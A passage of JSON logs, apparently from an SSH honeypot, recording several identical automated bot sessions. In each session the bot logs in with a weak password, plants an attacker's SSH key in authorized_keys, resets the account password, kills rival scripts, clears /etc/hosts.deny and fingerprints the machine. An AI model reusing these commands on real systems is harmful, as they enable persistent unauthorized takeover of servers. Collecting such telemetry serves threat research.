.ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:19:08.114628+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:19:09.364607+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:19:09.688946+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QxRSll0FjFI9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:19:10.010490+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:19:10.338102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:19:11.384939+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:19:11.633325+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:19:11.958167+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:19:13.025265+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:19:13.352936+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:19:14.239706+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:19:14.565623+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:19:16.628825+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:19:16.952370+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:19:18.893915+00:00","kind":"output","latency_ms":null,"data":" 05:19:18 up 7 days, 2:09, 0 user, load average: 0.24, 0.22, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:19:19.217471+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:19:21.393252+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:19:21.715696+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:19:23.049467+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:19:23.375182+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:19:24.770412+00:00","kind":"output","latency_ms":null,"data":"top - 05:19:24 up 7 days, 2:09, 0 user, load average: 0.24, 0.22, 0.22\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:19:25.093493+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:19:26.882796+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:19:27.203449+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:19:29.298333+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:19:29.622450+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:19:31.530376+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:19:31.851320+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:19:32.836496+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:19:33.159152+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:19:34.551507+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!QW@1qw2","method":"password","accepted":true,"tier":"other"}]} {"id":"c1b85829-221e-438c-b29b-5130ef5bb391","name":"brave-fabled-gull","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37004,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":307,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:17:34.629781+00:00","ended_at":"2026-08-27T05:17:36.277194+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:17:04.866117+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:17:05.172605+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:17:09.305186+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:17:10.119960+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:17:10.427807+00:00","kind":"input","latency_ms":null,"data":"echo \"root:stphRBTtOP9h\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:17:10.734084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:17:11.040677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:17:11.309378+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:17:13.182679+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:17:13.488917+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:17:14.651931+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:17:14.961722+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:17:16.466624+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:17:16.783552+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:17:18.821698+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:17:19.128664+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:17:20.929542+00:00","kind":"output","latency_ms":null,"data":" 05:17:20 up 7 days, 2:07, 0 user, load average: 0.32, 0.37, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:17:21.239676+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:17:23.032614+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:17:23.340385+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:17:25.230420+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:17:25.534162+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:17:26.828998+00:00","kind":"output","latency_ms":null,"data":"top - 05:17:26 up 7 days, 2:07, 0 user, load average: 0.32, 0.37, 0.36\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:17:27.137520+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:17:28.119123+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:17:28.428255+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:17:29.580386+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:17:29.887118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:17:31.824595+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:17:32.132012+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:17:34.324069+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:17:34.630575+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:17:36.183920+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin123*","method":"password","accepted":true,"tier":"other"}]} {"id":"42c210ed-e913-4c0c-97db-e37a7652d4ca","name":"marine-deft-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":36426,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:15:29.696246+00:00","ended_at":"2026-08-27T05:15:31.302382+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:15:08.574786+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:15:08.908388+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:15:12.085898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:15:13.588358+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:15:13.908993+00:00","kind":"input","latency_ms":null,"data":"echo \"root:5oVGnRMfj2xs\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:15:14.226840+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:15:14.548069+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:15:15.852417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:15:16.061393+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:15:16.174234+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:15:17.895051+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:15:18.231404+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:15:20.043343+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:15:20.366264+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:15:22.548137+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:15:22.880048+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:15:23.213335+00:00","kind":"output","latency_ms":null,"data":" 05:15:23 up 7 days, 2:05, 0 user, load average: 0.12, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:15:23.534512+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:15:23.811684+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:15:24.133248+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:15:24.404931+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:15:24.735965+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:15:25.241216+00:00","kind":"output","latency_ms":null,"data":"top - 05:15:25 up 7 days, 2:05, 0 user, load average: 0.12, 0.09, 0.08\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:15:25.563378+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:15:26.222183+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:15:26.541627+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:15:26.863198+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:15:27.183660+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:15:27.899602+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:15:28.221831+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:15:29.376956+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:15:29.697768+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:15:31.206063+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678Qq","method":"password","accepted":true,"tier":"other"}]} {"id":"ebbba6e9-486d-4d7b-b56e-70f766572656","name":"vigilant-gleaming-hamster","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":33530,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:13:29.602717+00:00","ended_at":"2026-08-27T05:13:31.749725+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T05:13:11.631581+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:13:11.948957+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:13:15.477035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:13:16.224849+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:13:16.544654+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Pa$$w0rd\\neqSpfESsouCM\\neqSpfESsouCM\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:13:16.862603+00:00","kind":"input","latency_ms":null,"data":"echo \"Pa$$w0rd\\neqSpfESsouCM\\neqSpfESsouCM\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:13:17.180343+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:13:17.705665+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:13:18.024800+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:13:18.881842+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:13:19.204373+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:13:20.227692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:13:20.550916+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:13:21.382083+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:13:21.701858+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:13:22.240502+00:00","kind":"output","latency_ms":null,"data":" 05:13:22 up 7 days, 2:03, 0 user, load average: 0.08, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:13:22.563718+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:13:22.894799+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:13:23.212323+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:13:24.113160+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:13:24.431356+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:13:24.836838+00:00","kind":"output","latency_ms":null,"data":"top - 05:13:24 up 7 days, 2:03, 0 user, load average: 0.08, 0.1, 0.07\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:13:25.154946+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:13:25.910110+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:13:26.227343+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:13:26.660947+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:13:26.980871+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:13:27.588349+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-27T05:13:27.907264+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:13:29.279526+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:13:29.603369+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:13:31.652397+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"Pa$$w0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"54797db9-35cd-4ca4-9cb6-71d62cdaf86f","name":"airy-tangled-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42096,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":332,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:11:33.479653+00:00","ended_at":"2026-08-27T05:11:34.974885+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:11:15.730023+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:11:16.062628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:11:20.248788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:11:21.009515+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:11:21.342938+00:00","kind":"input","latency_ms":null,"data":"echo \"root:D13QnGAPK4wL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:11:21.672084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:11:22.002056+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:11:22.347349+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:11:22.685618+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, 